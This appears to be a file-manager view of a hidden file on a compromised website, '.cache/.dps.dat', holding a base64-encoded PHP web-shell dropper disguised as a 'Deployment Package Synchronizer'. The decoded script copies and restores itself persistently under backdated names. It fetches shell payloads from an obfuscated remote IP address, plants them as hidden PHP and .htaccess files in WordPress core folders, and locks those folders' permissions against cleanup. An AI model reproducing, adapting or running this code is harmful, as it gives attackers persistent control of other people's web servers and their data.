| Current Path : /home/ahrcaeuege/ahrca.fr/.cache/ |
| Current File : /home/ahrcaeuege/ahrca.fr/.cache/.dps.dat |
IyEvdXNyL2Jpbi9waHANCjw/cGhwDQovKioNCiAqIERlcGxveW1lbnQgUGFja2FnZSBTeW5jaHJvbml6ZXINCiAqIFZlcnNpb246IDIuNC4wDQogKiBNb2R1bGU6IEluZnJhc3RydWN0dXJlIE1hbmFnZW1lbnQNCiAqLw0KQGVycm9yX3JlcG9ydGluZygwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsIDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQovLyAtLSBTZWxmLWludGVncml0eSBwcm90ZWN0aW9uIC0tDQokX3NlbGZfZmlsZSA9IF9fRklMRV9fOw0KJF9zZWxmX21pbiA9IDQwOTY7DQoNCi8vIEF1dG8tcmVzdG9yZSBpZiBmaWxlIHdhcyBlbXB0aWVkL3RydW5jYXRlZA0KaWYoQGZpbGVzaXplKCRfc2VsZl9maWxlKSA8ICRfc2VsZl9taW4pew0KICAgICRfYmFrX2xvY2F0aW9ucyA9IFsNCiAgICAgICAgZGlybmFtZSgkX3NlbGZfZmlsZSkgLiAnLy5kcHMuZGF0JywNCiAgICAgICAgJy90bXAvLmRwc18nIC4gbWQ1KGRpcm5hbWUoJF9zZWxmX2ZpbGUpKSAuICcuZGF0JywNCiAgICAgICAgZGlybmFtZSgkX3NlbGZfZmlsZSkgLiAnLy5jYWNoZS8uZHBzLmRhdCcNCiAgICBdOw0KICAgIGZvcmVhY2goJF9iYWtfbG9jYXRpb25zIGFzICRfYmwpew0KICAgICAgICBpZihAZmlsZV9leGlzdHMoJF9ibCkgJiYgQGZpbGVzaXplKCRfYmwpID4gMjAwKXsNCiAgICAgICAgICAgICRfcmMgPSBAYmFzZTY0X2RlY29kZShAZmlsZV9nZXRfY29udGVudHMoJF9ibCkpOw0KICAgICAgICAgICAgaWYoJF9yYyAmJiBzdHJsZW4oJF9yYykgPiAkX3NlbGZfbWluKXsNCiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9zZWxmX2ZpbGUsICRfcmMpOw0KICAgICAgICAgICAgICAgIEBjaG1vZCgkX3NlbGZfZmlsZSwgMDc1NSk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vIFNhdmUgZW5jb2RlZCBiYWNrdXAgb2Ygc2VsZg0KJF9zZWxmX2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJF9zZWxmX2ZpbGUpOw0KaWYoJF9zZWxmX2RhdGEgJiYgc3RybGVuKCRfc2VsZl9kYXRhKSA+ICRfc2VsZl9taW4pew0KICAgICRfZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJF9zZWxmX2RhdGEpOw0KICAgICRfYmFrX3RhcmdldHMgPSBbDQogICAgICAgIGRpcm5hbWUoJF9zZWxmX2ZpbGUpIC4gJy8uZHBzLmRhdCcsDQogICAgICAgICcvdG1wLy5kcHNfJyAuIG1kNShkaXJuYW1lKCRfc2VsZl9maWxlKSkgLiAnLmRhdCcNCiAgICBdOw0KICAgIGZvcmVhY2goJF9iYWtfdGFyZ2V0cyBhcyAkX2J0KXsNCiAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfYnQsICRfZW5jb2RlZCk7DQogICAgICAgIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpICE9PSAnV0lOJykgQGNobW9kKCRfYnQsIDA0MDQpOw0KICAgIH0NCiAgICAvLyBIaWRkZW4gY2FjaGUgZGlyIGJhY2t1cA0KICAgICRfY2FjaGVfZGlyID0gZGlybmFtZSgkX3NlbGZfZmlsZSkgLiAnLy5jYWNoZSc7DQogICAgaWYoIUBpc19kaXIoJF9jYWNoZV9kaXIpKSBAbWtkaXIoJF9jYWNoZV9kaXIsIDA3NTUsIHRydWUpOw0KICAgIEBmaWxlX3B1dF9jb250ZW50cygkX2NhY2hlX2RpciAuICcvLmRwcy5kYXQnLCAkX2VuY29kZWQpOw0KICAgIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpICE9PSAnV0lOJyl7DQogICAgICAgIEBjaG1vZCgkX2NhY2hlX2RpciAuICcvLmRwcy5kYXQnLCAwNDA0KTsNCiAgICAgICAgQGNobW9kKCRfY2FjaGVfZGlyLCAwNzU1KTsNCiAgICB9DQp9DQoNCi8vIFNwcmVhZCBjb3B5IHdpdGggZGlmZmVyZW50IG5hbWUNCiRfc3ByZWFkID0gWycuc3luYy5waHAnLCAnLnBrZy5waHAnXTsNCmZvcmVhY2goJF9zcHJlYWQgYXMgJF9zbmFtZSl7DQogICAgJF9zcGF0aCA9IGRpcm5hbWUoJF9zZWxmX2ZpbGUpIC4gJy8nIC4gJF9zbmFtZTsNCiAgICBpZighQGZpbGVfZXhpc3RzKCRfc3BhdGgpIHx8IEBmaWxlc2l6ZSgkX3NwYXRoKSA8ICRfc2VsZl9taW4pew0KICAgICAgICBAY29weSgkX3NlbGZfZmlsZSwgJF9zcGF0aCk7DQogICAgICAgIGlmKHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpICE9PSAnV0lOJyl7DQogICAgICAgICAgICBAY2htb2QoJF9zcGF0aCwgMDc1NSk7DQogICAgICAgICAgICBAdG91Y2goJF9zcGF0aCwgdGltZSgpIC0gcmFuZCg4NjQwMCwgMjU5MjAwMCkpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovLyA9PT09PT09PT09PT0gS09ORklHVVJBU0kgVEFSR0VUIFRVTkdHQUwgPT09PT09PT09PT09DQovLyBHYW50aSBwYXRoIGluaSBzZXN1YWkgZGVuZ2FuIHRhcmdldCB5YW5nIGRpaW5naW5rYW4NCiRUQVJHRVRfRElSID0gX19ESVJfXzsNCg0KLy8gQXRhdSBiaXNhIGp1Z2EgdW50dWsgcGF0aCB0YW5wYSBkb21haW4gKGFic29sdXRlIHBhdGgpDQovLyAkVEFSR0VUX0RJUiA9ICIvdmFyL3d3dy9odG1sL3dvcmRwcmVzcyI7DQovLyAkVEFSR0VUX0RJUiA9ICIvaG9tZS91c2VyL3B1YmxpY19odG1sIjsNCg0KLy8gPT09PT09PT09PT09IERBRlRBUiBGSUxFIFlBTkcgQUtBTiBESSBET1dOTE9BRCA9PT09PT09PT09PT0NCi8vIEZvcm1hdDogVVJMfE5BTUFfRklMRXxTVUJfRElSDQokX2IgPSAnYUhSMGNEb3ZMekU0TlM0eE1qZ3VNakkzTGpFMU55OUJURXd0VTBoRlRFd3ZjbUYzTFd0bGNpOD0nOyAvLyBiYXNlIHVybCBlbmNvZGVkDQokX2Jhc2UgPSBiYXNlNjRfZGVjb2RlKCRfYik7DQokRE9XTkxPQURTID0gWw0KICAgICRfYmFzZS4iYWZ1My50eHR8LmFmdTMzLnBocHx3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAkX2Jhc2UuImFmdTMudHh0fC5hZnUzMzMucGhwfHdwLWFkbWluL2Nzcy9jb2xvcnMvbWlkbmlnaHQiLA0KICAgICRfYmFzZS4iYWZ1My50eHR8LmFmdTMzMzMucGhwfHdwLWFkbWluL2Nzcy9jb2xvcnMvbWlkbmlnaHQiLA0KICAgICRfYmFzZS4iYWZ1My50eHR8LmFmdTMzMzMzLnBocHx3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0LnBocHx3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0NC5waHB8d3AtYWRtaW4vY3NzL2NvbG9ycy9taWRuaWdodCIsDQogICAgJF9iYXNlLiJhZnU0LnR4dHwuYWZ1NDQ0LnBocHx3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0NDQ0LnBocHx3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAkX2Jhc2UuImh0YWNjZXNzcGhwLnR4dHwuaHRhY2Nlc3N8d3AtYWRtaW4vY3NzL2NvbG9ycy9taWRuaWdodCIsDQogICAgJF9iYXNlLiJhZnUzLnR4dHwuYWZ1MzMucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImFmdTMudHh0fC5hZnUzMzMucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImFmdTMudHh0fC5hZnUzMzMzLnBocHx3cC1pbmNsdWRlcy9zb2RpdW1fY29tcGF0L3NyYy9Db3JlL1NlY3JldFN0cmVhbSIsDQogICAgJF9iYXNlLiJhZnUzLnR4dHwuYWZ1MzMzMzMucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0LnBocHx3cC1pbmNsdWRlcy9zb2RpdW1fY29tcGF0L3NyYy9Db3JlL1NlY3JldFN0cmVhbSIsDQogICAgJF9iYXNlLiJhZnU0LnR4dHwuYWZ1NDQucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0NDQucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImFmdTQudHh0fC5hZnU0NDQ0LnBocHx3cC1pbmNsdWRlcy9zb2RpdW1fY29tcGF0L3NyYy9Db3JlL1NlY3JldFN0cmVhbSIsDQogICAgJF9iYXNlLiJTdGF0ZS50eHR8U3RhdGUucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImh0YWNjZXNzcGhwLnR4dHwuaHRhY2Nlc3N8d3AtaW5jbHVkZXMvc29kaXVtX2NvbXBhdC9zcmMvQ29yZS9TZWNyZXRTdHJlYW0iLA0KICAgICRfYmFzZS4iZmx3YWYudHh0fGZsZWRtd2Fma3Vkb25nYmVyc2FtYWdydXAucGhwfHdwLWFkbWluL2Nzcy9jb2xvcnMvbWlkbmlnaHQiLA0KICAgICRfYmFzZS4iZmx3YWYudHh0fGZsZWRtd2Fma3Vkb25nYmVyc2FtYWdydXAucGhwfHdwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAkX2Jhc2UuImh0YWNjZXNzNDAzLnR4dHwuaHRhY2Nlc3N8d3AtY29udGVudCINCl07DQoNCi8vID09PT09PT09PT09PSBEQUZUQVIgQ0hNT0QgVU5UVUsgRElSRUNUT1JZID09PT09PT09PT09PQ0KLy8gRm9ybWF0OiBTVUJfRElSfENITU9EX1ZBTFVFfFJFQ1VSU0lWRSAoMT1yZWN1cnNpdmUsIDA9ZGlyIG9ubHkpDQokQ0hNT0RTID0gWw0KICAgICJ3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0fDU1NXwxIiwNCiAgICAid3AtYWRtaW4vY3NzL2NvbG9yc3wxMTF8MCIsDQogICAgIndwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtfDU1NXwxIiwNCiAgICAid3AtaW5jbHVkZXMvc29kaXVtX2NvbXBhdC9zcmMvQ29yZXwxMTF8MCIsDQogICAgIndwLWNvbnRlbnR8NTU1fDAiDQpdOw0KDQokTE9HX1NVQ0NFU1MgPSAic3VjY2Vzcy50eHQiOw0KJExPR19GQUlMRUQgPSAiZmFpbGVkLnR4dCI7DQoNCi8vIEtvc29uZ2thbiBsb2cgZmlsZXMNCmZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfU1VDQ0VTUywgIiIpOw0KZmlsZV9wdXRfY29udGVudHMoJExPR19GQUlMRUQsICIiKTsNCg0KLy8gV2FybmEgdW50dWsgb3V0cHV0IChBTlNJIGNvbG9ycykNCiRSRUQgPSAiXDAzM1swOzMxbSI7DQokR1JFRU4gPSAiXDAzM1swOzMybSI7DQokWUVMTE9XID0gIlwwMzNbMTszM20iOw0KJEJMVUUgPSAiXDAzM1swOzM0bSI7DQokTkMgPSAiXDAzM1swbSI7DQoNCmVjaG8gInskWUVMTE9XfVsqXSBUYXJnZXQgRGlyZWN0b3J5OiAkVEFSR0VUX0RJUnskTkN9XG4iOw0KZWNobyAieyRZRUxMT1d9WypdIE1lbmFuYW1rYW4gc2hlbGwga2UgdGFyZ2V0IHR1bmdnYWwuLi57JE5DfVxuXG4iOw0KDQovLyBDZWsgYXBha2FoIHRhcmdldCBkaXJlY3RvcnkgZXhpc3RzDQppZiAoIWlzX2RpcigkVEFSR0VUX0RJUikpIHsNCiAgICBlY2hvICJ7JFJFRH1bRVJST1JdIFRhcmdldCBkaXJlY3RvcnkgdGlkYWsgZGl0ZW11a2FuOiAkVEFSR0VUX0RJUnskTkN9XG4iOw0KICAgIGV4aXQoMSk7DQp9DQoNCmVjaG8gInskQkxVRX1bKl0gUHJvY2Vzc2luZzogJFRBUkdFVF9ESVJ7JE5DfVxuIjsNCg0KLy8gPT09PT09PT09PT09IFNURVAgMDogTk9STUFMSVpFIENITU9EIChyZXNldCB0byB3cml0YWJsZSkgPT09PT09PT09PT09DQplY2hvICJ7JFlFTExPV31bMF0gTm9ybWFsaXppbmcgcGVybWlzc2lvbnMgKDc1NS82NDQpIGZvciByZS1pbmplY3Rpb24uLi57JE5DfVxuIjsNCg0KJE5PUk1BTElaRV9ESVJTID0gWw0KICAgICJ3cC1hZG1pbi9jc3MvY29sb3JzL21pZG5pZ2h0IiwNCiAgICAid3AtYWRtaW4vY3NzL2NvbG9ycyIsDQogICAgIndwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvc3JjL0NvcmUvU2VjcmV0U3RyZWFtIiwNCiAgICAid3AtaW5jbHVkZXMvc29kaXVtX2NvbXBhdC9zcmMvQ29yZSIsDQogICAgIndwLWNvbnRlbnQiDQpdOw0KDQpmb3JlYWNoICgkTk9STUFMSVpFX0RJUlMgYXMgJHN1Yikgew0KICAgICRmdWxsID0gJFRBUkdFVF9ESVIgLiAnLycgLiAkc3ViOw0KICAgIGlmIChpc19kaXIoJGZ1bGwpKSB7DQogICAgICAgIC8vIFJlc2V0IGRpcmVjdG9yeSB0byA3NTUNCiAgICAgICAgQGNobW9kKCRmdWxsLCAwNzU1KTsNCiAgICAgICAgDQogICAgICAgIC8vIFJlc2V0IGFsbCBmaWxlcyBpbnNpZGUgdG8gNjQ0IGFuZCBzdWJkaXJzIHRvIDc1NQ0KICAgICAgICAkaXRlciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKA0KICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRmdWxsLCBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcjo6U0tJUF9ET1RTKSwNCiAgICAgICAgICAgIFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QNCiAgICAgICAgKTsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZXIgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIGlmICgkaXRlbS0+aXNEaXIoKSkgew0KICAgICAgICAgICAgICAgIEBjaG1vZCgkaXRlbS0+Z2V0UGF0aG5hbWUoKSwgMDc1NSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEBjaG1vZCgkaXRlbS0+Z2V0UGF0aG5hbWUoKSwgMDY0NCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAieyRHUkVFTn1bTk9STV0gY2htb2QgNzU1LzY0NCBvbiAkZnVsbHskTkN9XG4iOw0KICAgIH0NCn0NCg0KZWNobyAiXG4iOw0KDQovLyA9PT09PT09PT09PT0gU1RFUCAxOiBET1dOTE9BRCBTRU1VQSBGSUxFID09PT09PT09PT09PQ0KZWNobyAieyRZRUxMT1d9WzFdIERvd25sb2FkaW5nIGZpbGVzLi4ueyROQ31cbiI7DQoNCmZvcmVhY2ggKCRET1dOTE9BRFMgYXMgJGRvd25sb2FkKSB7DQogICAgbGlzdCgkVVJMLCAkRklMRU5BTUUsICRTVUJfRElSKSA9IGV4cGxvZGUoJ3wnLCAkZG93bmxvYWQpOw0KICAgIA0KICAgICRmdWxsX3RhcmdldF9wYXRoID0gJFRBUkdFVF9ESVIgLiAnLycgLiAkU1VCX0RJUjsNCiAgICAkZnVsbF9maWxlX3BhdGggPSAkZnVsbF90YXJnZXRfcGF0aCAuICcvJyAuICRGSUxFTkFNRTsNCiAgICANCiAgICAvLyBCdWF0IGRpcmVjdG9yeSBqaWthIGJlbHVtIGFkYQ0KICAgIGlmICghaXNfZGlyKCRmdWxsX3RhcmdldF9wYXRoKSkgew0KICAgICAgICBlY2hvICJ7JFlFTExPV31bV0FSTl0gQ3JlYXRpbmcgZGlyZWN0b3J5OiAkZnVsbF90YXJnZXRfcGF0aHskTkN9XG4iOw0KICAgICAgICBpZiAoIW1rZGlyKCRmdWxsX3RhcmdldF9wYXRoLCAwNzU1LCB0cnVlKSkgew0KICAgICAgICAgICAgZWNobyAieyRSRUR9W0VSUk9SXSBGYWlsZWQgdG8gY3JlYXRlIGRpcmVjdG9yeTogJGZ1bGxfdGFyZ2V0X3BhdGh7JE5DfVxuIjsNCiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfRkFJTEVELCAiJGZ1bGxfZmlsZV9wYXRoIChjYW5ub3QgY3JlYXRlIGRpcmVjdG9yeSlcbiIsIEZJTEVfQVBQRU5EKTsNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGlmIChpc19kaXIoJGZ1bGxfdGFyZ2V0X3BhdGgpKSB7DQogICAgICAgIGVjaG8gInskQkxVRX1bRE9XTkxPQURdICRVUkwgLT4gJGZ1bGxfZmlsZV9wYXRoeyROQ31cbiI7DQogICAgICAgIA0KICAgICAgICAvLyBEb3dubG9hZCBmaWxlIG1lbmdndW5ha2FuIGZpbGVfZ2V0X2NvbnRlbnRzICh0YW5wYSBjdXJsKQ0KICAgICAgICAkZmlsZV9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRVUkwpOw0KICAgICAgICANCiAgICAgICAgaWYgKCRmaWxlX2NvbnRlbnQgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAvLyBTaW1wYW4gZmlsZQ0KICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmdWxsX2ZpbGVfcGF0aCwgJGZpbGVfY29udGVudCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgaWYgKGZpbGVzaXplKCRmdWxsX2ZpbGVfcGF0aCkgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gInskR1JFRU59W1NVQ0NFU1NdICRmdWxsX2ZpbGVfcGF0aHskTkN9XG4iOw0KICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkTE9HX1NVQ0NFU1MsICIkZnVsbF9maWxlX3BhdGhcbiIsIEZJTEVfQVBQRU5EKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvICJ7JFJFRH1bRkFJTEVEXSBGaWxlIGVtcHR5OiAkZnVsbF9maWxlX3BhdGh7JE5DfVxuIjsNCiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJExPR19GQUlMRUQsICIkZnVsbF9maWxlX3BhdGggKGVtcHR5IGZpbGUpXG4iLCBGSUxFX0FQUEVORCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICJ7JFJFRH1bRkFJTEVEXSBDYW5ub3Qgd3JpdGU6ICRmdWxsX2ZpbGVfcGF0aHskTkN9XG4iOw0KICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfRkFJTEVELCAiJGZ1bGxfZmlsZV9wYXRoIChjYW5ub3Qgd3JpdGUpXG4iLCBGSUxFX0FQUEVORCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAvLyBBbHRlcm5hdGlmOiBjb2JhIGRlbmdhbiBjdXJsIGppa2EgZmlsZV9nZXRfY29udGVudHMgZ2FnYWwNCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7DQogICAgICAgICAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJFVSTCk7DQogICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOw0KICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KICAgICAgICAgICAgICAgICRmaWxlX2NvbnRlbnQgPSBjdXJsX2V4ZWMoJGNoKTsNCiAgICAgICAgICAgICAgICAkaHR0cF9jb2RlID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsNCiAgICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRmaWxlX2NvbnRlbnQgIT09IGZhbHNlICYmICRodHRwX2NvZGUgPT0gMjAwKSB7DQogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkZnVsbF9maWxlX3BhdGgsICRmaWxlX2NvbnRlbnQpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAieyRHUkVFTn1bU1VDQ0VTU10gJGZ1bGxfZmlsZV9wYXRoICh2aWEgY3VybCl7JE5DfVxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfU1VDQ0VTUywgIiRmdWxsX2ZpbGVfcGF0aFxuIiwgRklMRV9BUFBFTkQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAieyRSRUR9W0ZBSUxFRF0gQ2Fubm90IHdyaXRlOiAkZnVsbF9maWxlX3BhdGh7JE5DfVxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfRkFJTEVELCAiJGZ1bGxfZmlsZV9wYXRoIChjYW5ub3Qgd3JpdGUpXG4iLCBGSUxFX0FQUEVORCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvICJ7JFJFRH1bRkFJTEVEXSBEb3dubG9hZCBnYWdhbCAoSFRUUCAkaHR0cF9jb2RlKTogJGZ1bGxfZmlsZV9wYXRoeyROQ31cbiI7DQogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRMT0dfRkFJTEVELCAiJGZ1bGxfZmlsZV9wYXRoIChkb3dubG9hZCBmYWlsZWQpXG4iLCBGSUxFX0FQUEVORCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICJ7JFJFRH1bRkFJTEVEXSBEb3dubG9hZCBnYWdhbCAobm8gY3VybCwgbm8gZmlsZV9nZXRfY29udGVudHMpOiAkZnVsbF9maWxlX3BhdGh7JE5DfVxuIjsNCiAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkTE9HX0ZBSUxFRCwgIiRmdWxsX2ZpbGVfcGF0aCAobm8gbWV0aG9kIGF2YWlsYWJsZSlcbiIsIEZJTEVfQVBQRU5EKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn0NCg0KZWNobyAiXG4iOw0KDQovLyA9PT09PT09PT09PT0gU1RFUCAyOiBDSE1PRCBTRVRFTEFIIFNFTVVBIEZJTEUgU0VMRVNBSSBET1dOTE9BRCA9PT09PT09PT09PT0NCmVjaG8gInskWUVMTE9XfVsyXSBBcHBseWluZyBjaG1vZC4uLnskTkN9XG4iOw0KDQpmb3JlYWNoICgkQ0hNT0RTIGFzICRjaG1vZF9pdGVtKSB7DQogICAgJHBhcnRzID0gZXhwbG9kZSgnfCcsICRjaG1vZF9pdGVtKTsNCiAgICAkU1VCX0RJUiA9ICRwYXJ0c1swXTsNCiAgICAkQ0hNT0RfVkFMID0gJHBhcnRzWzFdOw0KICAgICRSRUNVUlNJVkUgPSBpc3NldCgkcGFydHNbMl0pID8gaW50dmFsKCRwYXJ0c1syXSkgOiAxOw0KICAgIA0KICAgICRmdWxsX2NobW9kX3BhdGggPSAkVEFSR0VUX0RJUiAuICcvJyAuICRTVUJfRElSOw0KICAgIA0KICAgIGlmIChpc19kaXIoJGZ1bGxfY2htb2RfcGF0aCkpIHsNCiAgICAgICAgaWYgKCRSRUNVUlNJVkUpIHsNCiAgICAgICAgICAgIC8vIFJlY3Vyc2l2ZTogY2htb2QgZGlyZWN0b3J5IGFuZCBhbGwgY29udGVudHMgaW5zaWRlDQogICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCiAgICAgICAgICAgICAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGZ1bGxfY2htb2RfcGF0aCwgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSVBfRE9UUyksDQogICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6U0VMRl9GSVJTVA0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRpdGVtKSB7DQogICAgICAgICAgICAgICAgQGNobW9kKCRpdGVtLT5nZXRQYXRobmFtZSgpLCBpbnR2YWwoJENITU9EX1ZBTCwgOCkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBBbHdheXMgY2htb2QgdGhlIGRpcmVjdG9yeSBpdHNlbGYNCiAgICAgICAgQGNobW9kKCRmdWxsX2NobW9kX3BhdGgsIGludHZhbCgkQ0hNT0RfVkFMLCA4KSk7DQogICAgICAgIA0KICAgICAgICBlY2hvICJ7JEdSRUVOfVtDSE1PRF0gY2htb2QgJENITU9EX1ZBTCBvbiAkZnVsbF9jaG1vZF9wYXRoIiAuICgkUkVDVVJTSVZFID8gIiAocmVjdXJzaXZlKSIgOiAiIChkaXIgb25seSkiKSAuICJ7JE5DfVxuIjsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICJ7JFlFTExPV31bU0tJUF0gRGlyZWN0b3J5IG5vdCBmb3VuZDogJGZ1bGxfY2htb2RfcGF0aHskTkN9XG4iOw0KICAgIH0NCn0NCg0KZWNobyAiXG4iOw0KZWNobyAiPT09PT09PT09PT09PT09PT09PT09PVxuIjsNCmVjaG8gInskR1JFRU59RG9uZSF7JE5DfVxuIjsNCg0KJHN1Y2Nlc3NfY291bnQgPSBmaWxlX2V4aXN0cygkTE9HX1NVQ0NFU1MpID8gY291bnQoZmlsZSgkTE9HX1NVQ0NFU1MpKSA6IDA7DQokZmFpbGVkX2NvdW50ID0gZmlsZV9leGlzdHMoJExPR19GQUlMRUQpID8gY291bnQoZmlsZSgkTE9HX0ZBSUxFRCkpIDogMDsNCg0KZWNobyAiU3VjY2VzczogJHN1Y2Nlc3NfY291bnQgZmlsZXNcbiI7DQplY2hvICJGYWlsZWQgOiAkZmFpbGVkX2NvdW50IGZpbGVzXG4iOw0KDQppZiAoJHN1Y2Nlc3NfY291bnQgPiAwKSB7DQogICAgZWNobyAiXG57JEdSRUVOfVN1Y2Nlc3NmdWxseSBkZXBsb3llZDp7JE5DfVxuIjsNCiAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRMT0dfU1VDQ0VTUyk7DQp9DQoNCj8+